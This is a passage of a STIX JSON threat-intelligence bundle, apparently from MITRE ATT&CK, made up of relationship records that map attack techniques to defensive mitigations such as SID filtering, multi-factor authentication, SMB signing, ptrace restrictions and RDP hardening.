            "target_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
            "relationship_type": "mitigates",
            "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.  ",
            "id": "relationship--b32af0e2-1bdc-4b62-a95d-cd1d73919dba",
            "type": "relationship",
            "modified": "2020-03-31T13:11:21.463Z",
            "created": "2020-02-18T18:03:37.711Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "relationship_type": "subtechnique-of",
            "id": "relationship--c93ca587-24fe-44d0-951e-30d82b9e6198",
            "type": "relationship",
            "modified": "2020-02-18T18:03:37.714Z",
            "created": "2020-02-18T18:03:37.714Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "relationship_type": "subtechnique-of",
            "id": "relationship--6bae365a-4424-4365-a441-dff2b7993250",
            "type": "relationship",
            "modified": "2020-02-18T18:22:41.699Z",
            "created": "2020-02-18T18:22:41.699Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142",
            "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a",
            "relationship_type": "revoked-by",
            "id": "relationship--206ded49-56fc-4c86-ab43-f4d45f5c343c",
            "type": "relationship",
            "modified": "2020-02-18T18:23:31.836Z",
            "created": "2020-02-18T18:23:31.836Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
            "relationship_type": "mitigates",
            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust /domain: /EnableSIDHistory:no</code> on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust",
            "id": "relationship--2ebbb8a5-a5f2-495d-bdf3-c49701edb26b",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/cc755321.aspx",
                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Trust Considerations Nov 2014"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc794757.aspx",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc835085.aspx",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Netdom Trust Sept 2012"
                },
                {
                    "url": "https://adsecurity.org/?p=1640",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "source_name": "AdSecurity Kerberos GT Aug 2015"
                }
            ],
            "type": "relationship",
            "modified": "2021-02-09T15:49:58.567Z",
            "created": "2020-02-18T18:34:49.716Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "relationship_type": "subtechnique-of",
            "id": "relationship--8bcc4b82-d25f-49ce-a4f2-967994ae21de",
            "type": "relationship",
            "modified": "2020-02-18T18:34:49.737Z",
            "created": "2020-02-18T18:34:49.737Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
            "target_ref": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
            "relationship_type": "revoked-by",
            "id": "relationship--9d925db0-de86-42c8-b69e-8d89e40328ed",
            "type": "relationship",
            "modified": "2020-02-18T18:35:21.839Z",
            "created": "2020-02-18T18:35:21.839Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "relationship_type": "mitigates",
            "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.",
            "id": "relationship--f5d32cc0-dc9e-4ff4-8af2-b131c303a1a1",
            "type": "relationship",
            "modified": "2020-03-24T17:59:21.126Z",
            "created": "2020-02-19T18:46:06.853Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "relationship_type": "subtechnique-of",
            "id": "relationship--f4c8b1b6-8204-4cbd-be5b-f3a6080726e7",
            "type": "relationship",
            "modified": "2020-02-19T18:46:06.856Z",
            "created": "2020-02-19T18:46:06.856Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "relationship_type": "mitigates",
            "description": "Use of multi-factor authentication for public-facing webmail servers is a recommended best practice to minimize the usefulness of usernames and passwords to adversaries.",
            "id": "relationship--854e11fd-f29e-4b7e-a3c2-f4c8c9ee302f",
            "type": "relationship",
            "modified": "2021-03-25T13:12:57.027Z",
            "created": "2020-02-19T18:52:25.295Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "relationship_type": "mitigates",
            "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.",
            "id": "relationship--8178dba2-1469-4322-af59-f6935152deb0",
            "type": "relationship",
            "modified": "2021-03-25T13:12:57.040Z",
            "created": "2020-02-19T18:52:25.314Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "relationship_type": "subtechnique-of",
            "id": "relationship--3a837390-7974-44e0-9d60-4c9831b8e272",
            "type": "relationship",
            "modified": "2020-02-19T18:52:25.318Z",
            "created": "2020-02-19T18:52:25.318Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157",
            "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "relationship_type": "mitigates",
            "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.",
            "id": "relationship--9e134214-4cb2-438b-9306-22e7d1ea80fe",
            "type": "relationship",
            "modified": "2021-03-25T13:08:30.820Z",
            "created": "2020-02-19T18:54:47.760Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "relationship_type": "mitigates",
            "description": "Enterprise email solutions have monitoring mechanisms that may include the ability to audit auto-forwarding rules on a regular basis.\n\nIn an Exchange environment, Administrators can use Get-InboxRule to discover and remove potentially malicious auto-forwarding rules.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) ",
            "id": "relationship--cd1a91ea-4b59-4352-b902-941fbec64f29",
            "external_references": [
                {
                    "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2",
                    "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/",
                    "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2021-03-25T13:08:30.826Z",
            "created": "2020-02-19T18:54:47.762Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "relationship_type": "subtechnique-of",
            "id": "relationship--636ec213-31ce-4e0a-863c-8add1cae68c3",
            "type": "relationship",
            "modified": "2020-02-19T18:54:47.777Z",
            "created": "2020-02-19T18:54:47.777Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
            "relationship_type": "mitigates",
            "description": "Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.",
            "id": "relationship--d729c871-d15b-4213-a492-b44fc1e96328",
            "type": "relationship",
            "modified": "2021-04-22T20:20:14.953Z",
            "created": "2020-02-19T20:36:33.587Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
            "relationship_type": "mitigates",
            "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.",
            "id": "relationship--684f1e70-9f35-4810-9477-133d2641bdbd",
            "type": "relationship",
            "modified": "2021-04-22T20:20:14.964Z",
            "created": "2020-02-19T20:36:33.597Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
            "relationship_type": "mitigates",
            "description": "Manage the access control list for \"Replicating Directory Changes\" and other permissions associated with domain controller replication.(Citation: ADSecurity Mimikatz DCSync)(Citation: Microsoft Replication ACL)",
            "id": "relationship--7b641542-852b-47c0-a604-f13998adb892",
            "external_references": [
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
                    "source_name": "ADSecurity Mimikatz DCSync"
                },
                {
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "source_name": "Microsoft Replication ACL"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-22T20:20:14.983Z",
            "created": "2020-02-19T20:36:33.642Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--5d8507c4-603e-4fe1-8a4a-b8241f58734b",
            "target_ref": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103",
            "relationship_type": "mitigates",
            "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.",
            "id": "relationship--1c4948ee-646f-4e36-9044-7ac9348d9185",
            "external_references": [
                {
                    "source_name": "Ready.gov IT DRP",
                    "url": "https://www.ready.gov/business/implementation/IT",
                    "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-03-29T22:57:05.276Z",
            "created": "2020-02-20T14:31:35.056Z"
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            "id": "relationship--1016e15c-64ed-4338-9ca9-83ffae3beb82",
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        },
        {
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            "description": "Utilize Yama (ex: /proc/sys/kernel/yama/ptrace_scope) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux, grsecurity, and AppArmor. ",
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        },
        {
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            ],
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            "id": "relationship--b33fd646-b98b-4ea0-8ae3-5cf0367140f6",
            "type": "relationship",
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            "created": "2020-02-21T22:07:25.444Z"
        },
        {
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            "target_ref": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
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            "description": "Restrict the permissions on sensitive files such as <code>/proc/[pid]/maps</code> or <code>/proc/[pid]/mem</code>. ",
            "id": "relationship--49d40f3b-33b4-424c-a645-82d2a84e5c28",
            "type": "relationship",
            "modified": "2020-06-20T22:25:55.462Z",
            "created": "2020-02-21T22:16:10.099Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46",
            "target_ref": "attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591",
            "relationship_type": "mitigates",
            "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ",
            "id": "relationship--1f4fe996-b32f-4cc5-b5d6-dc10a9bebeeb",
            "type": "relationship",
            "modified": "2020-06-20T22:25:55.465Z",
            "created": "2020-02-21T22:16:10.110Z"
        },
        {
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            ],
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            "type": "relationship",
            "modified": "2020-06-20T22:26:33.386Z",
            "created": "2020-02-21T22:21:10.156Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
            "relationship_type": "mitigates",
            "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ",
            "id": "relationship--505e8568-1870-4aca-81ff-7c222eb4db37",
            "type": "relationship",
            "modified": "2021-02-09T15:43:49.043Z",
            "created": "2020-02-21T22:25:12.496Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312",
            "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
            "relationship_type": "mitigates",
            "description": "Ensure all application component binaries are signed by the correct application developers.",
            "id": "relationship--685da2a8-4205-4773-982b-5954393c70f8",
            "type": "relationship",
            "modified": "2020-03-27T14:49:58.348Z",
            "created": "2020-02-25T15:26:32.215Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "relationship_type": "mitigates",
            "description": "Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)",
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                {
                    "source_name": "byt3bl33d3r NTLM Relaying",
                    "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
                    "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."
                },
                {
                    "source_name": "Secure Ideas SMB Relay",
                    "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
                    "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."
                },
                {
                    "source_name": "Microsoft SMB Packet Signing",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)",
                    "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2020-06-01T13:16:33.246Z",
            "created": "2020-02-25T17:17:48.379Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "relationship_type": "mitigates",
            "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)",
            "id": "relationship--2fb84998-3f4a-4ce8-9709-daa95d18186a",
            "external_references": [
                {
                    "url": "https://adsecurity.org/?p=3299",
                    "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.",
                    "source_name": "ADSecurity Windows Secure Baseline"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-31T13:54:08.510Z",
            "created": "2020-02-25T17:17:48.383Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
            "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
            "relationship_type": "subtechnique-of",
            "id": "relationship--7f306f1f-bd04-460f-929a-621f458dcd04",
            "type": "relationship",
            "modified": "2020-02-25T18:34:38.377Z",
            "created": "2020-02-25T18:34:38.377Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
            "relationship_type": "subtechnique-of",
            "id": "relationship--68eb092e-fa23-4d6d-8a71-8653e962e7ed",
            "type": "relationship",
            "modified": "2020-02-25T18:35:42.851Z",
            "created": "2020-02-25T18:35:42.851Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
            "relationship_type": "mitigates",
            "description": "Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities.",
            "id": "relationship--7b191418-e24b-4db1-98e1-a7ee56b271f6",
            "type": "relationship",
            "modified": "2020-03-23T23:11:24.892Z",
            "created": "2020-02-25T18:49:52.360Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
            "relationship_type": "mitigates",
            "description": "Do not allow remote access via SSH as root or other privileged accounts.",
            "id": "relationship--e4f247ea-4fd6-44c0-9d19-19477fadcb52",
            "type": "relationship",
            "modified": "2020-03-23T23:11:24.920Z",
            "created": "2020-02-25T18:49:52.364Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
            "relationship_type": "mitigates",
            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected.",
            "id": "relationship--a58b2f24-9fa1-4dd6-9977-7c201fbfe5ed",
            "type": "relationship",
            "modified": "2020-03-23T23:11:24.941Z",
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        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "relationship_type": "mitigates",
            "description": "Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
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            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent",
                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
                    "source_name": "Symantec SSH and ssh-agent"
                }
            ],
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            "modified": "2020-03-23T23:11:24.939Z",
            "created": "2020-02-25T18:49:52.384Z"
        },
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "relationship_type": "revoked-by",
            "id": "relationship--22e606f5-4130-4de8-984b-cfabcf5fc21c",
            "type": "relationship",
            "modified": "2020-02-25T19:00:52.356Z",
            "created": "2020-02-25T19:00:52.356Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
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            "relationship_type": "mitigates",
            "description": "Disable the RDP service if it is unnecessary.",
            "id": "relationship--8aa82bc1-bd38-482d-9cb6-b83877e0b0f4",
            "type": "relationship",
            "modified": "2020-03-23T23:24:39.464Z",
            "created": "2020-02-25T19:17:33.743Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "relationship_type": "mitigates",
            "description": "Use remote desktop gateways.",
            "id": "relationship--10be521b-285c-4ce7-a4ec-837b63a0f666",
            "type": "relationship",
            "modified": "2020-03-23T23:24:39.480Z",
            "created": "2020-02-25T19:17:33.736Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "relationship_type": "mitigates",
            "description": "Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups.",
            "id": "relationship--6b9e7925-876a-49b1-8b42-e789401f2fad",
            "type": "relationship",
            "modified": "2020-03-23T23:24:39.528Z",
            "created": "2020-02-25T19:17:33.770Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "relationship_type": "mitigates",
            "description": "Limit remote user permissions if remote access is necessary.",
            "id": "relationship--5fc1a3c2-dfdb-41d9-97cf-fa6825078bca",
            "type": "relationship",
            "modified": "2020-03-23T23:24:39.531Z",
            "created": "2020-02-25T19:19:09.949Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "relationship_type": "mitigates",
            "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.",
            "id": "relationship--b6c10d21-5e91-4dfc-b76e-e94d7142ed32",
            "type": "relationship",
            "modified": "2020-03-23T23:24:39.532Z",
            "created": "2020-02-25T19:19:09.956Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c",
            "relationship_type": "mitigates",
            "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)",
            "id": "relationship--5d0c84c6-1f4b-4adf-924a-7b5489bd0933",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx",
                    "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.",
                    "source_name": "Windows RDP Sessions"
                }
            ],
            "type": "relationship",
            "modified": "2020-05-20T13:33:51.038Z",
            "created": "2020-02-25T19:19:09.960Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
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                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015"
                }
            ],
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            "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts.\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators.(Citation: AdSecurity Cracking Kerberos Dec 2015)",
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                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
